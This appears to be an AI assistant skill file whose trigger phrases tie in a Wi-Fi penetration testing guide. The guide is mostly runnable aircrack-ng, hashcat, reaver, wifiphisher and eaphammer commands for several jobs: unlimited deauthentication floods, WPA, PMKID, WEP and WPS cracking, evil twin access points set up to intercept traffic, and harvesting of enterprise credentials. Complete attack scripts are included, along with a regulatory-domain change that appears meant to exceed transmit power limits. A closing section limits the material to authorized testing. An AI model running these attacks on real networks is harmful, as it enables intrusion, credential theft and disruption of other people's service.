| name | wireless-security-wifi-penetration-testing |
| description | Hands-on wireless security and Wi-Fi penetration testing with aircrack-ng, covering 802.11, WEP/WPA/WPA2/WPA3 attacks, evil twins, and enterprise assessment |
| triggers | ["how do I crack WPA2 with aircrack-ng","capture WPA handshake with airodump-ng","set up monitor mode for wifi pentesting","perform deauth attack on wireless network","crack WEP encryption with aircrack-ng","create evil twin access point","capture PMKID for hashcat","test wireless network security"] |
Wireless Security & WiFi Penetration Testing
Skill by ara.so — Security Skills collection.
This skill provides comprehensive guidance on wireless security assessment and Wi-Fi penetration testing using industry-standard tools from the aircrack-ng suite. It covers 802.11 protocol analysis, WEP/WPA/WPA2/WPA3 attacks, rogue access points, and enterprise wireless assessment.
Overview
This project is an open, hands-on study curriculum for wireless security and Wi-Fi penetration testing. It teaches:
- 802.11 protocol fundamentals and frame analysis
- Wireless adapter setup for monitor mode and packet injection
- WEP/WPA/WPA2/WPA3 encryption attacks
- Evil twin and rogue access point deployment
- Enterprise WPA (EAP/RADIUS) assessment
- Wireless MITM and traffic analysis
- Professional penetration test reporting
Key Tools: aircrack-ng, airodump-ng, aireplay-ng, airbase-ng, hashcat, hcxdumptool, kismet, hostapd, dnsmasq, wireshark
Prerequisites
Hardware Requirements
-
Injection-capable wireless adapter (required)
- Atheros AR9271 (e.g., TP-Link TL-WN722N v1, Alfa AWUS036NHA)
- Ralink RT3070/RT5372 (e.g., Alfa AWUS036NEH)
- NOT built-in laptop Wi-Fi (usually cannot enter monitor mode)
-
Test environment
- Dedicated router/AP you own and control
- Client device(s) for handshake generation
- Isolated RF environment (no interference with production networks)
Software Requirements
Kali Linux (recommended) or any Linux distribution with:
sudo apt update
sudo apt install aircrack-ng
sudo apt install hashcat hcxtools hcxdumptool \
wireshark kismet hostapd dnsmasq \
reaver bully wifite
Adapter Setup & Monitor Mode
1. Identify Your Wireless Adapter
iwconfig
lsusb | grep -i wireless
lsusb -v | grep -A 10 "Wireless"
2. Enable Monitor Mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0
iwconfig wlan0mon
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
3. Test Packet Injection
sudo aireplay-ng --test wlan0mon
4. Set Channel
sudo iwconfig wlan0mon channel 6
sudo iw dev wlan0mon set channel 6
Reconnaissance & Traffic Analysis
Wireless Network Discovery
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 wlan0mon
sudo airodump-ng --band bg wlan0mon
sudo airodump-ng --band a wlan0mon
sudo airodump-ng -w scan_results --output-format csv wlan0mon
Key fields in airodump-ng output:
BSSID: MAC address of AP
PWR: Signal strength
#Data: Number of data packets
CH: Channel
ENC: Encryption (OPN/WEP/WPA/WPA2/WPA3)
ESSID: Network name
STATION: Connected clients
Target Specific Network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF --essid "TargetNetwork" -w capture wlan0mon
WPA/WPA2 Handshake Capture & Cracking
Capture WPA Handshake
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa_handshake wlan0mon
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
Verify Handshake Capture
sudo aircrack-ng wpa_handshake-01.cap
cowpatty -r wpa_handshake-01.cap -c
Crack WPA/WPA2 with Aircrack-ng
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_handshake-01.cap
sudo aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF wpa_handshake-01.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -l cracked_key.txt wpa_handshake-01.cap
Crack with Hashcat (GPU-accelerated)
sudo aircrack-ng wpa_handshake-01.cap -J wpa_hash
hcxpcapngtool -o wpa_hash.hc22000 wpa_handshake-01.cap
hashcat -m 22000 -a 0 wpa_hash.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 -a 0 wpa_hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 22000 wpa_hash.hc22000 --show
PMKID Attack (Clientless WPA/WPA2)
PMKID attack allows cracking WPA/WPA2 without capturing a handshake or waiting for clients.
sudo hcxdumptool -i wlan0mon -o pmkid_capture.pcapng --enable_status=1
hcxpcapngtool -o pmkid.hc22000 pmkid_capture.pcapng
hashcat -m 22000 -a 0 pmkid.hc22000 /usr/share/wordlists/rockyou.txt
hcxpcapngtool -E essidlist.txt -I identitylist.txt -U usernamelist.txt \
-o pmkid.hc22000 pmkid_capture.pcapng
WEP Cracking
Passive WEP Cracking (IV collection)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon
sudo aircrack-ng wep_capture-01.cap
sudo aircrack-ng -n 64 wep_capture-01.cap
sudo aircrack-ng -n 128 wep_capture-01.cap
Active WEP Cracking (ARP replay)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_active wlan0mon
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF wlan0mon
sudo aircrack-ng wep_active-01.cap
WEP ChopChop Attack
sudo aireplay-ng --chopchop -b AA:BB:CC:DD:EE:FF wlan0mon
sudo packetforge-ng --arp -a AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 \
-k 192.168.1.100 -l 192.168.1.1 -y replay_dec*.xor -w arp_packet
sudo aireplay-ng --interactive -r arp_packet wlan0mon
Evil Twin / Rogue Access Point
Basic Evil Twin with Hostapd
cat > evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=TargetNetwork
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=Password123
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd evil_twin.conf
Evil Twin with Internet (MITM)
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
cat > dnsmasq.conf << 'EOF'
interface=wlan0
dhcp-range=192.168.100.10,192.168.100.100,12h
dhcp-option=3,192.168.100.1
dhcp-option=6,192.168.100.1
server=8.8.8.8
log-queries
log-dhcp
EOF
sudo ip addr add 192.168.100.1/24 dev wlan0
sudo dnsmasq -C dnsmasq.conf -d
sudo hostapd evil_twin.conf
Automated Evil Twin with Wifiphisher
sudo apt install wifiphisher
sudo wifiphisher -aI wlan0 -eI wlan1
sudo wifiphisher -aI wlan0 -eI wlan1 -e "TargetNetwork"
sudo wifiphisher -aI wlan0 -eI wlan1 -p firmware-upgrade
Deauthentication Attack
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo mdk4 wlan0mon d -c 6 -b blacklist.txt
echo "AA:BB:CC:DD:EE:FF" > blacklist.txt
WPS Attacks
WPS PIN Brute Force with Reaver
sudo wash -i wlan0mon
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 2 -T 0.5
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv
WPS Pixie Dust Attack with Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3
Traffic Analysis & Interception
Capture and Analyze with Wireshark
sudo airodump-ng -w capture --output-format pcap wlan0mon
wireshark capture-01.cap
MITM with Bettercap
sudo bettercap -iface wlan0
Enterprise WPA (EAP/RADIUS) Assessment
Capture EAP Credentials
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w enterprise_capture wlan0mon
hcxpcapngtool -E identities.txt enterprise_capture-01.cap
wireshark enterprise_capture-01.cap
Evil Twin for EAP Credential Harvesting
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./kali-setup
sudo ./eaphammer -i wlan0 --auth wpa-eap --essid "Corporate-WiFi" --creds
Wireless IDS with Kismet
sudo apt install kismet
sudo usermod -aG kismet $USER
kismet -c wlan0mon
kismet_cap_pcap --in kismet-log.kismet --out kismet_export.pcap
Configuration & Best Practices
Regulatory Domain
iw reg get
sudo iw reg set US
echo 'REGDOMAIN=US' | sudo tee -a /etc/default/crda
Wordlist Preparation
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
crunch 8 12 -t @@@@%%%% -o custom_wordlist.txt
crunch 8 8 0123456789 -o wpa_numeric.txt
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt
Managing Monitor Mode
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
sudo ip link set wlan0 down
sudo ip link set wlan0 up
sudo systemctl restart NetworkManager
Common Patterns & Workflows
Complete WPA/WPA2 Attack Workflow
#!/bin/bash
TARGET_BSSID="AA:BB:CC:DD:EE:FF"
TARGET_CHANNEL="6"
WORDLIST="/usr/share/wordlists/rockyou.txt"
sudo airmon-ng start wlan0
sudo airodump-ng -c $TARGET_CHANNEL --bssid $TARGET_BSSID \
-w handshake wlan0mon &
AIRODUMP_PID=$!
sleep 5
sudo aireplay-ng --deauth 10 -a $TARGET_BSSID wlan0mon
echo "Waiting 30 seconds for handshake..."
sleep 30
sudo kill $AIRODUMP_PID
sudo aircrack-ng -w $WORDLIST handshake-01.cap
sudo airmon-ng stop wlan0mon
Automated Reconnaissance Script
#!/bin/bash
INTERFACE="wlan0"
DURATION=300
sudo airmon-ng start $INTERFACE
echo "Scanning for $DURATION seconds..."
timeout $DURATION sudo airodump-ng -w recon_scan --output-format csv ${INTERFACE}mon
echo "Access Points found:"
grep -v "^BSSID" recon_scan-01.csv | awk -F',' '{print $14,$4,$6}' | sort -u
sudo airmon-ng stop ${INTERFACE}mon
Troubleshooting
Adapter Not Entering Monitor Mode
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
dmesg | grep -i firmware
sudo apt install firmware-atheros firmware-ralink
lsmod | grep -E "ath9k|rt2800usb"
Injection Test Fails
iwconfig wlan0mon
sudo iwconfig wlan0mon channel 6
sudo aireplay-ng --test -c 11 wlan0mon
sudo apt update && sudo apt install --reinstall aircrack-ng
No Handshake Captured
sudo aireplay-ng --deauth 20 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --deauth 20 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon
sudo iwconfig wlan0mon channel 6
Aircrack-ng Not Cracking
sudo aircrack-ng handshake-01.cap
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo aircrack-ng -w /usr/share/wordlists/fasttrack.txt handshake-01.cap
hcxpcapngtool -o hash.hc22000 handshake-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt
Evil Twin Not Accepting Clients
sudo hostapd -dd evil_twin.conf
sudo airmon-ng stop wlan0mon
sudo ps aux | grep dnsmasq
cat /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -L -v
Regulatory Domain Issues
sudo iw reg set BO
iw list | grep -A 15 "Frequencies:"
sudo iwconfig wlan0mon channel 6
sudo iwconfig wlan0mon txpower 20
Legal & Ethical Considerations
WARNING: All techniques in this project are for authorized testing only.
- ✅ Authorized: Your own equipment, lab environment, client-approved penetration tests
- ❌ Illegal: Any network you don't own or have explicit written permission to test
Wireless attacks (deauthentication, jamming, rogue APs, handshake capture, cracking) are illegal under:
- US: Computer Fraud and Abuse Act (CFAA), Wiretap Act
- UK: Computer Misuse Act
- EU: Directive 2013/40/EU
- Other jurisdictions: Similar computer crime and telecommunications laws
Best practices:
- Obtain written permission before any wireless assessment
- Test in isolated RF environment (Faraday cage, low power, shielded room)
- Document scope and rules of engagement
- Report findings responsibly
- Never transmit on unauthorized frequencies or exceed regulatory power limits
Additional Resources
License: CC BY 4.0
Repository: https://github.com/armourinfosec/Wireless-Security-and-WiFi-Penetration-Testing